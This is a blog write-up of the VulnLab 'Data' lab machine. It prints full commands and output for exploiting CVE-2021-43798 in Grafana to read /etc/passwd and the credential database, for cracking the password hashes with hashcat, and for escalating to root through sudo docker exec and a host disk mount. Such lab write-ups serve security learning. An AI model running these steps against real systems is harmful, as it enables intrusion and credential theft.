Vulnlab - Data Writeup

Liam Geyer

👾 Machine Overview

This is a writeup of the machine Data from VulnLab , it’s an easy difficulty Linux machine which featured a Grafana CVE, a SUID binary, and docker misconfigurations.

🔍 Enumeration

I tried using rustscan, but I don’t think I’ll be sticking with it in the future. An initial scan of the host gave the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
rustscan -a 10.10.73.205  
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Making networking exciting since... whenever.

[~] The config file is expected to be at "/home/lfgberg/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.  
Open 10.10.73.205:22
Open 10.10.73.205:3000
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-19 19:16 EDT
Initiating Ping Scan at 19:16
Scanning 10.10.73.205 [2 ports]
Completed Ping Scan at 19:16, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:16
Completed Parallel DNS resolution of 1 host. at 19:16, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 19:16
Scanning 10.10.73.205 [2 ports]
Discovered open port 3000/tcp on 10.10.73.205
Discovered open port 22/tcp on 10.10.73.205
Completed Connect Scan at 19:16, 0.10s elapsed (2 total ports)
Nmap scan report for 10.10.73.205
Host is up, received conn-refused (0.10s latency).
Scanned at 2024-09-19 19:16:11 EDT for 1s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
3000/tcp open  ppp     syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

There’s really only port 3000 to check out, so I browsed to the site.

📈 Grafana

Port 3000 was running an instance of Grafana.

Grafana Login

Very helpfully, the version is displayed at the bottom, v8.0.0.

First, I tried admin:admin as the default grafana login, but that didn’t work. I did a quick search for Grafana v8.0.0 vulnerabilities and found CVE-2021-43798 which allows for unauthenticated path traversal.

I tried using this POC on the target machine to read /etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
go run exploit.go --target http://10.10.115.151:3000 -file /etc/passwd  
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://10.10.115.151:3000
[INFO] Successfully exploited target http://10.10.115.151:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

It works! We should be able to read files that the Grafana service account has access to. Looking around online there’s 2 files of note that we may want to loot from Grafana.

  1. /etc/grafana/grafana.ini - this can store sensitive info like the default admin pass and SQL credentials
  2. /var/lib/grafana/grafana.db - this stores credentials, but they’re hashed and salted

First I tried /etc/grafana/grafana.ini.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
go run exploit.go --target http://10.10.115.151:3000 -file /etc/grafana/grafana.ini > ../grafana.ini
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://10.10.115.151:3000
[INFO] Successfully exploited target http://10.10.115.151:3000
[SNIPPED]
[database]
# You can configure the database connection by specifying type, host, name, user and password
# as separate properties or as on string using the url properties.

# Either "mysql", "postgres" or "sqlite3", it's your choice
;type = sqlite3
;host = 127.0.0.1:3306
;name = grafana
;user = root
# If the password contains # or ; you have to wrap it with triple quotes. Ex """#password;"""
;password =

# Use either URL or the previous fields to configure the database
# Example: mysql://user:secret@host:port/database
;url =
[SNIPPED]
[security]
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false

# default admin user, created on startup
;admin_user = admin

# default admin password, can be changed before first start of grafana, or in profile settings
;admin_password = admin

# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm
[SNIPPED]

This file didn’t really seem to have anything useful for us, everything was default or commented.

Next, I dumped the database.

1
go run exploit.go --target http://10.10.115.151:3000 -file /var/lib/grafana/grafana.db > ../grafana.db

I had to trim up this file a bit, the first couple lines had output from the tool which needed to be removed for it to read correctly. I tossed it into a SQLite DB Browser and looked at the user table.

SQL DB

Here theres hashed credentials for [email protected] and admin@localhost. I wasn’t familiar with the hash type, but I found this tool to convert them into a format that’s hashcat-friendly.

I made a new file, hash.list, which had the needed information for both users in the format hash,salt.

1
2
3
4
5
6
7
8
9
10
11
python3 grafana2hashcat.py -o ../grafana.hash ../hash.list  

[+] Grafana2Hashcat
[+] Reading Grafana hashes from:  ../hash.list
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[+] Writing output to '../grafana.hash' file.
[+] Now, you can run Hashcat with the following command, for example:

hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt

I threw that into hashcat, and was able to pop the password for boris.

I was able to use the password to SSH into the box as boris, I grabbed the flag and popped 2 sliver beacons.

🥇 Root

Now as boris, I ran LinPEAS, it identified the ability to run docker as root, which I confirmed.

1
2
3
4
5
6
7
sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on ip-10-10-10-11:
(root) NOPASSWD: /snap/bin/docker exec *

We’re specifically able to run docker exec, with whatever arguments we want, as root. This is great because we should be able to gain privileged access to any running containers.

The command I wanted to run was:

1
2
# The -u 0 took me forever to figure out, otherwise you just login as grafana and not root
sudo docker exec --privileged -it [container] -u 0 bash

The issue here is that I don’t know the name or ID of the container, and we don’t have permission to run docker ps and get a list.

By running either ps -awfux, or find / | grep docker, I was able to find the ID of the container which will allow us to interact with it.

Now as root in the docker container, we’re able to mount /dev/xvda1, which is the root of the docker controller’s filesystem.

1
2
mkdir /mnt/test
mount /dev/xvda1 /mnt/test

From here we have root access to the controller’s filesystem through /mnt/test. First I grabbed the flag at /mnt/test/root/root.txt, and then I edited /mnt/test/root/.ssh/authorized_keys to allow me to SSH into the box as root, yippee!

📖 Resources

🔗 Hyperlink ℹ️ Info
Taythebot’s GitHub CVE-2021-43798 POC
Iamaldi’s GitHub Grafana hash formatter
  • Title: Vulnlab - Data Writeup
  • Author: Liam Geyer
  • Created at : 2024-09-22 00:00:00
  • Updated at : 2024-10-10 09:01:47
  • Link: https://lfgberg.org/2024/09/22/vulnlab/data/
  • License: This work is licensed under CC BY-NC-SA 4.0.